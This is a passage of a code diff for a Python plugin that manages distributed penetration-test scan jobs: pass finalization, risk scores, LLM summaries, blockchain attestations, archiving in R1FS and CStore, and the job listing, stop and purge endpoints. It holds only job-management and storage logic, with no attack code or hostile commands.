end_port=job_specs.get("end_port", 0), - date_created=job_specs.get("date_created", 0), - date_completed=date_completed, - job_cid=job_cid, - job_config_cid=job_specs.get("job_config_cid", ""), - ) - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=stub.to_dict()) - self.P(f"Job {job_id} archived. CID={job_cid}, CStore pruned to stub.") - - # 9. Clean up individual pass report CIDs (best-effort, after commit) - for ref in job_specs.get("pass_reports", []): - cid = ref.get("report_cid") - if cid: - try: - success = self.r1fs.delete_file(cid, show_logs=False, raise_on_error=False) - if not success: - self.P(f"delete_file returned False for pass report CID {cid}", color='y') - except Exception as e: - self.P(f"Failed to clean up pass report CID {cid}: {e}", color='y') - def _maybe_finalize_pass(self): """ Launcher finalizes completed passes and orchestrates continuous monitoring. For all jobs, this method: 1. Detects when all workers have finished the current pass - 2. Records pass completion in pass_reports + 2. Records pass completion in pass_history For CONTINUOUS_MONITORING jobs, additionally: 3. Schedules the next pass after monitor_interval @@ -1877,24 +1227,16 @@ def _maybe_finalize_pass(self): if not workers: continue - run_mode = job_specs.get("run_mode", RUN_MODE_SINGLEPASS) - job_status = job_specs.get("job_status", JOB_STATUS_RUNNING) + run_mode = job_specs.get("run_mode", "SINGLEPASS") + job_status = job_specs.get("job_status", "RUNNING") all_finished = all(w.get("finished") for w in workers.values()) next_pass_at = job_specs.get("next_pass_at") job_pass = job_specs.get("job_pass", 1) job_id = job_specs.get("job_id") - pass_reports = job_specs.setdefault("pass_reports", []) - - # Skip jobs that are already finalized, stopped, or mid-finalization - if job_status in (JOB_STATUS_FINALIZED, JOB_STATUS_STOPPED): - # Stuck recovery: if no job_cid, the archive build failed previously — retry - # But only if there are pass reports to build from (hard-stopped jobs - # that never completed a pass have nothing to archive) - if not job_specs.get("job_cid") and pass_reports: - self.P(f"[STUCK RECOVERY] {job_id} is {job_status} but has no job_cid — retrying archive build", color='y') - self._build_job_archive(job_id, job_specs) - continue - if job_status in (JOB_STATUS_COLLECTING, JOB_STATUS_ANALYZING, JOB_STATUS_FINALIZING): + pass_history = job_specs.setdefault("pass_history", []) + + # Skip jobs that are already finalized or stopped + if job_status in ("FINALIZED", "STOPPED"): continue if all_finished and next_pass_at is None: @@ -1903,226 +1245,110 @@ def _maybe_finalize_pass(self): # ═══════════════════════════════════════════════════ pass_date_started = self._get_timeline_date(job_specs, "pass_started") or self._get_timeline_date(job_specs, "created") pass_date_completed = self.time() - now_ts = pass_date_completed - - # --- COLLECTING: merge worker reports --- - job_specs["job_status"] = JOB_STATUS_COLLECTING - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) - - # 1. AGGREGATE ONCE — fetch node reports from R1FS and merge - node_reports = self._collect_node_reports(workers) - aggregated = self._get_aggregated_report(node_reports) if node_reports else {} + pass_record = ({ + "pass_nr": job_pass, + "date_started": pass_date_started, + "date_completed": pass_date_completed, + "duration": round(pass_date_completed - pass_date_started, 2) if pass_date_started else None, + "reports": {addr: w.get("report_cid") for addr, w in workers.items()} + }) + now_ts = self.time() - # 2. RISK SCORE + FLAT FINDINGS (single walk) + # Compute risk score for this pass + aggregated_for_score = self._collect_aggregated_report(workers) risk_score = 0 - flat_findings = [] - risk_result = None - if aggregated: - risk_result, flat_findings = self._compute_risk_and_findings(aggregated) + if aggregated_for_score: + risk_result = self._compute_risk_score(aggregated_for_score) + pass_history[-1]["risk_score"] = risk_result["score"] + pass_history[-1]["risk_breakdown"] = risk_result["breakdown"] risk_score = risk_result["score"] job_specs["risk_score"] = risk_score - self.P(f"Risk score for job {job_id} pass {job_pass}: {risk_score}/100") - - # --- ANALYZING: LLM analysis --- - job_config = self._get_job_config(job_specs) - llm_text = None - summary_text = None - if self.cfg_llm_agent_api_enabled and aggregated: - job_specs["job_status"] = JOB_STATUS_ANALYZING - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) - llm_text = self._run_aggregated_llm_analysis(job_id, aggregated, job_config) - summary_text = self._run_quick_summary_analysis(job_id, aggregated, job_config) - - # 4. LLM FAILURE HANDLING - llm_failed = True if (self.cfg_llm_agent_api_enabled and (llm_text is None or summary_text is None)) else None - if llm_failed: - self._emit_timeline_event( - job_specs, "llm_failed", - f"LLM analysis unavailable for pass {job_pass}", - meta={"pass_nr": job_pass} - ) + self.P(f"Risk score for job {job_id} pass {job_pass}: {risk_result['score']}/100") - # 5. BUILD WORKER METADATA from already-fetched node_reports - worker_metas = {} - for addr, report in node_reports.items(): - nr_findings = 0 - for probes in (report.get("service_info") or {}).values(): - if isinstance(probes, dict): - for probe_data in probes.values(): - if isinstance(probe_data, dict): - nr_findings += len(probe_data.get("findings", [])) - for tests in (report.get("web_tests_info") or {}).values(): - if isinstance(tests, dict): - for test_data in tests.values(): - if isinstance(test_data, dict): - nr_findings += len(test_data.get("findings", [])) - nr_findings += len(report.get("correlation_findings") or []) - - worker_metas[addr] = WorkerReportMeta( - report_cid=workers[addr].get("report_cid", ""), - start_port=report.get("start_port", 0), - end_port=report.get("end_port", 0), - ports_scanned=report.get("ports_scanned", 0), - open_ports=report.get("open_ports", []), - nr_findings=nr_findings, - node_ip=report.get("node_ip", ""), - ).to_dict() - - # 6. STORE aggregated report as separate CID - aggregated_report_cid = None - if aggregated: - aggregated_data = AggregatedScanData.from_dict(aggregated).to_dict() - aggregated_report_cid = self.r1fs.add_json(aggregated_data, show_logs=False) - if not aggregated_report_cid: - self.P(f"Failed to store aggregated report for pass {job_pass} in R1FS", color='r') - continue # skip pass finalization, retry next loop - - # 7. ATTESTATION — compute but don't emit timeline yet (inserted at correct point below) - redmesh_test_attestation = None should_submit_attestation = True - if run_mode == RUN_MODE_CONTINUOUS_MONITORING: + if run_mode == "CONTINUOUS_MONITORING": last_attestation_at = job_specs.get("last_attestation_at") min_interval = self.cfg_attestation_min_seconds_between_submits if last_attestation_at is not None and now_ts - last_attestation_at < min_interval: - elapsed = round(now_ts - last_attestation_at) - self.P( - f"[ATTESTATION] Skipping test attestation for job {job_id}: " - f"last submitted {elapsed}s ago, min interval is {min_interval}s", - color='y' - ) should_submit_attestation = False if should_submit_attestation: + # Best-effort on-chain summary; failures must not block pass finalization. try: - # Collect node IPs from worker reports for attestation - attestation_node_ips = [ - r.get("node_ip") for r in node_reports.values() - if r.get("node_ip") - ] - redmesh_test_attestation = self._submit_redmesh_test_attestation( + redmesh_attestation = self._submit_attestation( job_id=job_id, job_specs=job_specs, workers=workers, - vulnerability_score=risk_score, - node_ips=attestation_node_ips, + vulnerability_score=risk_score ) - if redmesh_test_attestation is not None: + if redmesh_attestation is not None: + pass_record["redmesh_attestation"] = redmesh_attestation job_specs["last_attestation_at"] = now_ts except Exception as exc: - import traceback self.P( - f"[ATTESTATION] Failed to submit test attestation for job {job_id}: {exc}\n" - f" Type: {type(exc).__name__}\n" - f" Args: {exc.args}\n" - f" Traceback:\n{traceback.format_exc()}", + f"Failed to submit RedMesh attestation for job {job_id}: {exc}", color='r' ) - # 8. MERGE SCAN METRICS across nodes + store per-node/per-thread metrics - worker_scan_metrics = {} - for addr, report in node_reports.items(): - if report.get("scan_metrics"): - entry = {"scan_metrics": report["scan_metrics"]} - # Attach per-thread breakdown if available - if report.get("thread_scan_metrics"): - entry["threads"] = report["thread_scan_metrics"] - worker_scan_metrics[addr] = entry - node_metrics = [e["scan_metrics"] for e in worker_scan_metrics.values()] - pass_metrics = None - if node_metrics: - pass_metrics = node_metrics[0] if len(node_metrics) == 1 else self._merge_worker_metrics(node_metrics) - - # 9. COMPOSE PassReport - pass_report = PassReport( - pass_nr=job_pass, - date_started=pass_date_started, - date_completed=pass_date_completed, - duration=round(pass_date_completed - pass_date_started, 2) if pass_date_started else 0, - aggregated_report_cid=aggregated_report_cid or "", - worker_reports=worker_metas, - risk_score=risk_score, - risk_breakdown=risk_result["breakdown"] if risk_result else None, - llm_analysis=llm_text, - quick_summary=summary_text, - llm_failed=llm_failed, - findings=flat_findings if flat_findings else None, - scan_metrics=pass_metrics, - worker_scan_metrics=worker_scan_metrics if worker_scan_metrics else None, - redmesh_test_attestation=redmesh_test_attestation, - ) + pass_history.append(pass_record) - # 10. STORE PassReport as single CID - pass_report_cid = self.r1fs.add_json(pass_report.to_dict(), show_logs=False) - if not pass_report_cid: - self.P(f"Failed to store pass report for pass {job_pass} in R1FS", color='r') - continue # skip — don't append partial state to CStore - - # 11. UPDATE CStore with lightweight PassReportRef - pass_reports.append(PassReportRef(job_pass, pass_report_cid, risk_score).to_dict()) - - # --- FINALIZING: writing archive --- - job_specs["job_status"] = JOB_STATUS_FINALIZING - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) - - # Handle SINGLEPASS - set FINALIZED, build archive, prune CStore - if run_mode == RUN_MODE_SINGLEPASS: - job_specs["job_status"] = JOB_STATUS_FINALIZED + # Handle SINGLEPASS - set FINALIZED and exit (no scheduling) + if run_mode == "SINGLEPASS": + job_specs["job_status"] = "FINALIZED" + created_at = self._get_timeline_date(job_specs, "created") or self.time() + job_specs["duration"] = round(self.time() - created_at, 2) self._emit_timeline_event(job_specs, "scan_completed", "Scan completed") - if redmesh_test_attestation is not None: - self._emit_timeline_event( - job_specs, "blockchain_submit", - "Job-finished attestation submitted", - actor_type="system", - meta={**redmesh_test_attestation, "network": "base-sepolia"} - ) self.P(f"[SINGLEPASS] Job {job_id} complete. Status set to FINALIZED.") + + # Run LLM auto-analysis on aggregated report (launcher only) + if self.cfg_llm_agent_api_enabled: + self._run_aggregated_llm_analysis(job_id, job_specs, workers, pass_nr=job_pass) + self._run_quick_summary_analysis(job_id, job_specs, workers, pass_nr=job_pass) + self._emit_timeline_event(job_specs, "finalized", "Job finalized") - self._build_job_archive(job_key, job_specs) - self._clear_live_progress(job_id, list(workers.keys())) + self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) continue # CONTINUOUS_MONITORING logic below - # Check if soft stop was scheduled — build archive and prune CStore - if job_status == JOB_STATUS_SCHEDULED_FOR_STOP: - job_specs["job_status"] = JOB_STATUS_STOPPED + # Check if soft stop was scheduled + if job_status == "SCHEDULED_FOR_STOP": + job_specs["job_status"] = "STOPPED" + created_at = self._get_timeline_date(job_specs, "created") or self.time() + job_specs["duration"] = round(self.time() - created_at, 2) self._emit_timeline_event(job_specs, "scan_completed", f"Scan completed (pass {job_pass})") - if redmesh_test_attestation is not None: - self._emit_timeline_event( - job_specs, "blockchain_submit", - f"Test attestation submitted (pass {job_pass})", - actor_type="system", - meta={**redmesh_test_attestation, "network": "base-sepolia"} - ) self.P(f"[CONTINUOUS] Pass {job_pass} complete for job {job_id}. Status set to STOPPED (soft stop was scheduled)") + + # Run LLM auto-analysis on aggregated report (launcher only) + if self.cfg_llm_agent_api_enabled: + self._run_aggregated_llm_analysis(job_id, job_specs, workers, pass_nr=job_pass) + self._run_quick_summary_analysis(job_id, job_specs, workers, pass_nr=job_pass) + self._emit_timeline_event(job_specs, "stopped", "Job stopped") - self._build_job_archive(job_key, job_specs) - self._clear_live_progress(job_id, list(workers.keys())) + self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) continue + # end if - # Schedule next pass — attestation event goes with pass_completed - if redmesh_test_attestation is not None: - self._emit_timeline_event( - job_specs, "blockchain_submit", - f"Test attestation submitted (pass {job_pass})", - actor_type="system", - meta={**redmesh_test_attestation, "network": "base-sepolia"} - ) - interval = job_config.get("monitor_interval", self.cfg_monitor_interval) + # Run LLM auto-analysis for this pass (launcher only) + if self.cfg_llm_agent_api_enabled: + self._run_aggregated_llm_analysis(job_id, job_specs, workers, pass_nr=job_pass) + self._run_quick_summary_analysis(job_id, job_specs, workers, pass_nr=job_pass) + + # Schedule next pass + interval = job_specs.get("monitor_interval", self.cfg_monitor_interval) jitter = random.uniform(0, self.cfg_monitor_jitter) job_specs["next_pass_at"] = self.time() + interval + jitter self._emit_timeline_event(job_specs, "pass_completed", f"Pass {job_pass} completed") self.P(f"[CONTINUOUS] Pass {job_pass} complete for job {job_id}. Next pass in {interval}s (+{jitter:.1f}s jitter)") self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) - self._clear_live_progress(job_id, list(workers.keys())) # Clear from completed_jobs_reports to allow relaunch self.completed_jobs_reports.pop(job_id, None) if job_id in self.lst_completed_jobs: self.lst_completed_jobs.remove(job_id) - elif run_mode == RUN_MODE_CONTINUOUS_MONITORING and all_finished and next_pass_at and self.time() >= next_pass_at: + elif run_mode == "CONTINUOUS_MONITORING" and all_finished and next_pass_at and self.time() >= next_pass_at: # ═══════════════════════════════════════════════════ # STATE: Interval elapsed, start next pass # ═══════════════════════════════════════════════════ @@ -2306,7 +1532,6 @@ def launch_test( authorized: bool = False, created_by_name: str = "", created_by_id: str = "", - nr_local_workers: int = 0, ): """ Start a pentest on the specified target. @@ -2348,9 +1573,6 @@ def launch_test( List of peer addresses to run the test on. If not provided or empty, all configured chainstore_peers will be used. Each address must exist in the chainstore_peers configuration. - nr_local_workers: int, optional - Number of parallel scan threads each worker node spawns (1-16). - The assigned port range is split evenly across threads. 0 = use config default. Returns ------- @@ -2403,16 +1625,16 @@ def launch_test( distribution_strategy = str(distribution_strategy).upper() - if not distribution_strategy or distribution_strategy not in [DISTRIBUTION_MIRROR, DISTRIBUTION_SLICE]: + if not distribution_strategy or distribution_strategy not in ["MIRROR", "SLICE"]: distribution_strategy = self.cfg_distribution_strategy port_order = str(port_order).upper() - if not port_order or port_order not in [PORT_ORDER_SHUFFLE, PORT_ORDER_SEQUENTIAL]: + if not port_order or port_order not in ["SHUFFLE", "SEQUENTIAL"]: port_order = self.cfg_port_order # Validate run_mode and monitor_interval run_mode = str(run_mode).upper() - if not run_mode or run_mode not in [RUN_MODE_SINGLEPASS, RUN_MODE_CONTINUOUS_MONITORING]: + if not run_mode or run_mode not in ["SINGLEPASS", "CONTINUOUS_MONITORING"]: run_mode = self.cfg_run_mode if monitor_interval <= 0: monitor_interval = self.cfg_monitor_interval @@ -2426,12 +1648,6 @@ def launch_test( if scan_min_delay > scan_max_delay: scan_min_delay, scan_max_delay = scan_max_delay, scan_min_delay - # Validate local workers (parallel scan threads per worker node) - nr_local_workers = int(nr_local_workers) - if nr_local_workers <= 0: - nr_local_workers = self.cfg_nr_local_workers - nr_local_workers = max(LOCAL_WORKERS_MIN, min(LOCAL_WORKERS_MAX, nr_local_workers)) - # Validate and determine which peers to use chainstore_peers = self.cfg_chainstore_peers if not chainstore_peers: @@ -2454,7 +1670,7 @@ def launch_test( raise ValueError("No workers available for job execution.") workers = {} - if distribution_strategy == DISTRIBUTION_MIRROR: + if distribution_strategy == "MIRROR": for address in active_peers: workers[address] = { "start_port": start_port, @@ -2462,7 +1678,7 @@ def launch_test( "finished": False, "result": None } - # else if selected strategy is SLICE + # else if selected strategy is "SLICE" else: total_ports = end_port - start_port + 1 @@ -2498,61 +1714,46 @@ def launch_test( job_id = self.uuid(8) self.P(f"Launching {job_id=} {target=} with {exceptions=}") self.P(f"Announcing pentest to workers (instance_id {self.cfg_instance_id})...") - - # Build immutable job config and persist to R1FS - job_config = JobConfig( - target=target, - start_port=start_port, - end_port=end_port, - exceptions=exceptions, - distribution_strategy=distribution_strategy, - port_order=port_order, - nr_local_workers=nr_local_workers, - enabled_features=enabled_features, - excluded_features=excluded_features, - run_mode=run_mode, - scan_min_delay=scan_min_delay, - scan_max_delay=scan_max_delay, - ics_safe_mode=ics_safe_mode, - redact_credentials=redact_credentials, - scanner_identity=scanner_identity, - scanner_user_agent=scanner_user_agent, - task_name=task_name, - task_description=task_description, - monitor_interval=monitor_interval, - selected_peers=active_peers, - created_by_name=created_by_name or "", - created_by_id=created_by_id or "", - authorized=True, - ) - job_config_cid = self.r1fs.add_json(job_config.to_dict(), show_logs=False) - if not job_config_cid: - self.P("Failed to store job config in R1FS — aborting launch", color='r') - return {"error": "Failed to store job config in R1FS"} - job_specs = { "job_id" : job_id, - # Listing fields (duplicated from config for zero-fetch listing) "target": target, - "task_name": task_name, + "exceptions" : exceptions, "start_port" : start_port, "end_port" : end_port, - "risk_score": 0, - "date_created": self.time(), - # Orchestration "launcher": self.ee_addr, "launcher_alias": self.ee_id, "timeline": [], "workers" : workers, + "distribution_strategy": distribution_strategy, + "port_order": port_order, + "excluded_features": excluded_features, + "enabled_features": enabled_features, # Job lifecycle: RUNNING | SCHEDULED_FOR_STOP | STOPPED | FINALIZED - "job_status": JOB_STATUS_RUNNING, + "job_status": "RUNNING", # Continuous monitoring fields "run_mode": run_mode, + "monitor_interval": monitor_interval, "job_pass": 1, "next_pass_at": None, - "pass_reports": [], - # Config CID (written once at launch) - "job_config_cid": job_config_cid, + "pass_history": [], + # Dune sand walking + "scan_min_delay": scan_min_delay, + "scan_max_delay": scan_max_delay, + # Human-readable task info + # TODO: rename to job_ + "task_name": task_name, + "task_description": task_description, + # Peer selection (defaults to all chainstore_peers if not specified) + "selected_peers": active_peers, + # Security hardening options + "redact_credentials": redact_credentials, + "ics_safe_mode": ics_safe_mode, + "scanner_identity": scanner_identity, + "scanner_user_agent": scanner_user_agent, + "authorized": True, + # User identity (forwarded from Navigator UI) + "created_by_name": created_by_name or None, + "created_by_id": created_by_id or None, } self._emit_timeline_event( job_specs, "created", @@ -2561,31 +1762,6 @@ def launch_test( actor_type="user" ) self._emit_timeline_event(job_specs, "started", "Scan started", actor=self.ee_id, actor_type="node") - - try: - redmesh_job_start_attestation = self._submit_redmesh_job_start_attestation( - job_id=job_id, - job_specs=job_specs, - workers=workers, - ) - if redmesh_job_start_attestation is not None: - job_specs["redmesh_job_start_attestation"] = redmesh_job_start_attestation - self._emit_timeline_event( - job_specs, "blockchain_submit", - "Job-start attestation submitted", - actor_type="system", - meta={**redmesh_job_start_attestation, "network": "base-sepolia"} - ) - except Exception as exc: - import traceback - self.P( - f"[ATTESTATION] Failed to submit job-start attestation for job {job_id}: {exc}\n" - f" Type: {type(exc).__name__}\n" - f" Args: {exc.args}\n" - f" Traceback:\n{traceback.format_exc()}", - color='r' - ) - self.chainstore_hset( hkey=self.cfg_instance_id, key=job_id, @@ -2642,13 +1818,15 @@ def get_job_status(self, job_id: str): @BasePlugin.endpoint def get_job_data(self, job_id: str): """ - Retrieve job data from CStore. - - For finalized/stopped jobs (stubs): returns the lightweight stub as-is. - The frontend uses job_cid to fetch the full archive via get_job_archive(). + Retrieve the complete job data from CStore. - For running jobs: returns CStore state with pass_reports trimmed to - the last 5 entries (frontend fetches those CIDs individually). + Unlike `get_job_status` which returns local worker progress, + this endpoint returns the full job specification including: + - All network workers and their completion status + - Job lifecycle state (RUNNING/SCHEDULED_FOR_STOP/STOPPED/FINALIZED) + - Launcher info and timestamps + - Distribution strategy and configuration + - Pass history for continuous monitoring jobs Parameters ---------- @@ -2658,118 +1836,27 @@ def get_job_data(self, job_id: str): Returns ------- dict - Job data or error if not found. + Complete job data or error if not found. """ job_specs = self._get_job_from_cstore(job_id) - if not job_specs: - return { - "job_id": job_id, - "found": False, - "message": "Job not found in network store.", - } - - # Finalized stubs have job_cid — return as-is - if job_specs.get("job_cid"): + if job_specs: return { "job_id": job_id, "found": True, "job": job_specs, } - - # Running jobs — trim pass_reports to last 5 - pass_reports = job_specs.get("pass_reports", []) - if isinstance(pass_reports, list) and len(pass_reports) > 5: - job_specs["pass_reports"] = pass_reports[-5:] - return { "job_id": job_id, - "found": True, - "job": job_specs, + "found": False, + "message": "Job not found in network store.", } - @BasePlugin.endpoint - def get_job_archive(self, job_id: str): - """ - Retrieve the full job archive from R1FS. - - For finalized/stopped jobs only. Returns the complete archive including - job config, all passes, timeline, and ui_aggregate in a single response. - - Parameters - ---------- - job_id : str - Identifier of the job. - - Returns - ------- - dict - Full archive or error. - """ - job_specs = self._get_job_from_cstore(job_id) - if not job_specs: - return {"error": "not_found", "message": f"Job {job_id} not found."} - - job_cid = job_specs.get("job_cid") - if not job_cid: - return {"error": "not_available", "message": f"Job {job_id} is still running (no archive yet)."} - - archive = self.r1fs.get_json(job_cid) - if archive is None: - return {"error": "fetch_failed", "message": f"Failed to fetch archive from R1FS (CID: {job_cid})."} - - # Integrity check: verify job_id matches - if archive.get("job_id") != job_id: - self.P( - f"[INTEGRITY] Archive CID {job_cid} has job_id={archive.get('job_id')}, expected {job_id}", - color='r' - ) - return {"error": "integrity_mismatch", "message": "Archive job_id does not match requested job_id."} - - return {"job_id": job_id, "archive": archive} - - @BasePlugin.endpoint - def get_job_progress(self, job_id: str): - """ - Real-time progress for all workers in a job. - - Reads from the `:live` CStore hset and returns only entries - matching the requested job_id. - - Parameters - ---------- - job_id : str - Identifier of the job. - - Returns - ------- - dict - Workers progress keyed by worker address. - """ - live_hkey = f"{self.cfg_instance_id}:live" - all_progress = self.chainstore_hgetall(hkey=live_hkey) or {} - prefix = f"{job_id}:" - result = {} - for key, value in all_progress.items(): - if key.startswith(prefix) and value is not None: - worker_addr = key[len(prefix):] - result[worker_addr] = value - # Include job status so the frontend knows when to reload full data - job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) - status = None - if isinstance(job_specs, dict): - status = job_specs.get("status") - return {"job_id": job_id, "status": status, "workers": result} - @BasePlugin.endpoint def list_network_jobs(self): """ List all network jobs stored in CStore. - Finalized stubs are returned as-is (already lightweight). - Running jobs are stripped of timeline, workers detail, and pass_reports - to keep the listing payload small. - Returns ------- dict @@ -2780,28 +1867,10 @@ def list_network_jobs(self): for job_key, job_spec in raw_network_jobs.items(): normalized_key, normalized_spec = self._normalize_job_record(job_key, job_spec) if normalized_key and normalized_spec: - # Finalized stubs (have job_cid) — already small, return as-is - if normalized_spec.get("job_cid"): - normalized_jobs[normalized_key] = normalized_spec - continue - - # Running jobs — allowlist only listing-essential fields - normalized_jobs[normalized_key] = { - "job_id": normalized_spec.get("job_id"), - "job_status": normalized_spec.get("job_status"), - "target": normalized_spec.get("target"), - "task_name": normalized_spec.get("task_name"), - "risk_score": normalized_spec.get("risk_score", 0), - "run_mode": normalized_spec.get("run_mode"), - "start_port": normalized_spec.get("start_port"), - "end_port": normalized_spec.get("end_port"), - "date_created": normalized_spec.get("date_created"), - "launcher": normalized_spec.get("launcher"), - "launcher_alias": normalized_spec.get("launcher_alias"), - "worker_count": len(normalized_spec.get("workers", {}) or {}), - "pass_count": len(normalized_spec.get("pass_reports", []) or []), - "job_pass": normalized_spec.get("job_pass", 1), - } + # Replace heavy pass_history with a lightweight count for listing + pass_history = normalized_spec.pop("pass_history", None) + normalized_spec["pass_count"] = len(pass_history) if isinstance(pass_history, list) else 0 + normalized_jobs[normalized_key] = normalized_spec return normalized_jobs @@ -2825,20 +1894,19 @@ def list_local_jobs(self): @BasePlugin.endpoint def stop_and_delete_job(self, job_id : str): """ - Stop a running job, mark it stopped, then delegate to purge_job - for full R1FS + CStore cleanup. + Stop and delete a pentest job. Parameters ---------- job_id : str - Identifier of the job to stop and delete. + Identifier of the job to stop. Returns ------- dict - Status of the purge operation including CID deletion counts. + Status message and job_id. """ - # Stop local workers if running + # Stop the job if it's running local_workers = self.scan_jobs.get(job_id) if local_workers: self.P(f"Stopping and deleting job {job_id}.") @@ -2848,36 +1916,26 @@ def stop_and_delete_job(self, job_id : str): self.P(f"Job {job_id} stopped.") # Remove from active jobs self.scan_jobs.pop(job_id, None) - - # Mark as stopped in CStore so purge_job accepts it raw_job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) if isinstance(raw_job_specs, dict): _, job_specs = self._normalize_job_record(job_id, raw_job_specs) worker_entry = job_specs.setdefault("workers", {}).setdefault(self.ee_addr, {}) worker_entry["finished"] = True worker_entry["canceled"] = True - job_specs["job_status"] = JOB_STATUS_STOPPED self._emit_timeline_event(job_specs, "stopped", "Job stopped and deleted", actor_type="user") self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) else: - # Job not found in CStore — nothing to purge - self._log_audit_event("scan_stopped", {"job_id": job_id}) - return {"status": "success", "job_id": job_id, "cids_deleted": 0, "cids_total": 0} - - # Delegate full cleanup to purge_job + self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=None) + self.P(f"Job {job_id} deleted.") self._log_audit_event("scan_stopped", {"job_id": job_id}) - return self.purge_job(job_id) + return {"status": "success", "job_id": job_id} @BasePlugin.endpoint def purge_job(self, job_id: str): """ - Purge a job: delete all R1FS artifacts, clean up live progress keys, - then tombstone the CStore entry. - - Safety invariant: delete ALL R1FS artifacts first, THEN tombstone CStore. - If R1FS deletion fails partway, leave CStore intact so CIDs remain - discoverable for a retry. + Purge a job: delete all R1FS artifacts then tombstone the CStore entry. + Job must be finished/canceled — cannot purge a running job. Parameters ---------- @@ -2896,105 +1954,36 @@ def purge_job(self, job_id: str): _, job_specs = self._normalize_job_record(job_id, raw) # Reject if job is still running - job_status = job_specs.get("job_status", "") workers = job_specs.get("workers", {}) - if workers and any(not w.get("finished") for w in workers.values()): - return {"status": "error", "message": "Cannot purge a running job. Stop it first."} - if job_status not in (JOB_STATUS_FINALIZED, JOB_STATUS_STOPPED) and workers: + if any(not w.get("finished") for w in workers.values()): return {"status": "error", "message": "Cannot purge a running job. Stop it first."} - # ── Collect all CIDs (deduplicated) ── + # Collect all CIDs (deduplicated) cids = set() - - def _track(cid, source): - """Add CID and log where it was found.""" - if cid and isinstance(cid, str) and cid not in cids: - cids.add(cid) - self.P(f"[PURGE] Collected CID {cid} from {source}") - - # Job config CID - _track(job_specs.get("job_config_cid"), "job_specs.job_config_cid") - - # Archive CID (finalized jobs) - job_cid = job_specs.get("job_cid") - if job_cid: - _track(job_cid, "job_specs.job_cid") - # Fetch archive to find nested CIDs - try: - archive = self.r1fs.get_json(job_cid) - if isinstance(archive, dict): - self.P(f"[PURGE] Archive fetched OK, {len(archive.get('passes', []))} passes") - for pi, pass_data in enumerate(archive.get("passes", [])): - _track(pass_data.get("aggregated_report_cid"), f"archive.passes[{pi}].aggregated_report_cid") - for addr, wr in (pass_data.get("worker_reports") or {}).items(): - if isinstance(wr, dict): - _track(wr.get("report_cid"), f"archive.passes[{pi}].worker_reports[{addr}].report_cid") - else: - self.P(f"[PURGE] Archive fetch returned non-dict: {type(archive)}", color='y') - except Exception as e: - self.P(f"[PURGE] Failed to fetch archive {job_cid}: {e}", color='r') - - # Worker report CIDs (running/stopped jobs — finalized stubs have no workers) for addr, w in workers.items(): - _track(w.get("report_cid"), f"workers[{addr}].report_cid") - - # Pass report CIDs + nested CIDs (running/stopped jobs) - for ri, ref in enumerate(job_specs.get("pass_reports", [])): - report_cid = ref.get("report_cid") - if report_cid: - _track(report_cid, f"pass_reports[{ri}].report_cid") - try: - pass_data = self.r1fs.get_json(report_cid) - if isinstance(pass_data, dict): - _track(pass_data.get("aggregated_report_cid"), f"pass_reports[{ri}]->aggregated_report_cid") - for addr, wr in (pass_data.get("worker_reports") or {}).items(): - if isinstance(wr, dict): - _track(wr.get("report_cid"), f"pass_reports[{ri}]->worker_reports[{addr}].report_cid") - else: - self.P(f"[PURGE] Pass report fetch returned non-dict: {type(pass_data)}", color='y') - except Exception as e: - self.P(f"[PURGE] Failed to fetch pass report {report_cid}: {e}", color='r') - - self.P(f"[PURGE] Total CIDs collected: {len(cids)}: {sorted(cids)}") + cid = w.get("report_cid") + if cid: + cids.add(cid) - # ── Delete R1FS artifacts ── - deleted, failed = 0, 0 + for entry in job_specs.get("pass_history", []): + for addr, cid in entry.get("reports", {}).items(): + if cid: + cids.add(cid) + for key in ("llm_analysis_cid", "quick_summary_cid"): + cid = entry.get(key) + if cid: + cids.add(cid) + + # Delete from R1FS (best-effort) + deleted = 0 for cid in cids: try: - success = self.r1fs.delete_file(cid, show_logs=True, raise_on_error=False) - if success: - deleted += 1 - self.P(f"[PURGE] Deleted CID {cid}") - else: - failed += 1 - self.P(f"[PURGE] delete_file returned False for CID {cid}", color='r') + self.r1fs.delete_file(cid, show_logs=False, raise_on_error=False) + deleted += 1 except Exception as e: - self.P(f"[PURGE] Failed to delete CID {cid}: {e}", color='r') - failed += 1 - - if failed > 0: - # Some CIDs couldn't be deleted — leave CStore intact for retry - self.P(f"Purge incomplete: {failed}/{len(cids)} CIDs failed. CStore kept.", color='r') - return { - "status": "partial", - "job_id": job_id, - "cids_deleted": deleted, - "cids_failed": failed, - "cids_total": len(cids), - "message": "Some R1FS artifacts could not be deleted. Retry purge later.", - } + self.P(f"Failed to delete CID {cid}: {e}", color='y') - # ── Clean up live progress keys ── - all_live = self.chainstore_hgetall(hkey=f"{self.cfg_instance_id}:live") - if isinstance(all_live, dict): - prefix = f"{job_id}:" - for key in all_live: - if key.startswith(prefix): - self.chainstore_hset( - hkey=f"{self.cfg_instance_id}:live", key=key, value=None - ) - - # ── ALL R1FS artifacts deleted — safe to tombstone CStore ── + # Tombstone CStore entry self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=None) self.P(f"Purged job {job_id}: {deleted}/{len(cids)} CIDs deleted.") @@ -3052,16 +2041,16 @@ def get_audit_log(self, limit: int = 100): @BasePlugin.endpoint(method="post") def stop_monitoring(self, job_id: str, stop_type: str = "SOFT"): """ - Stop a job (any run mode with HARD stop, continuous-only for SOFT stop). + Stop continuous monitoring for a job. Parameters ---------- job_id : str - Identifier of the job to stop. + Identifier of the job to stop monitoring. stop_type : str, optional "SOFT" (default): Let current pass complete, then stop. - Sets job_status="SCHEDULED_FOR_STOP". Only valid for continuous monitoring. - "HARD": Stop immediately. Sets job_status="STOPPED". Works for any run mode. + Sets job_status="SCHEDULED_FOR_STOP". + "HARD": Stop immediately. Sets job_status="STOPPED". Returns ------- @@ -3073,34 +2062,19 @@ def stop_monitoring(self, job_id: str, stop_type: str = "SOFT"): return {"error": "Job not found", "job_id": job_id} _, job_specs = 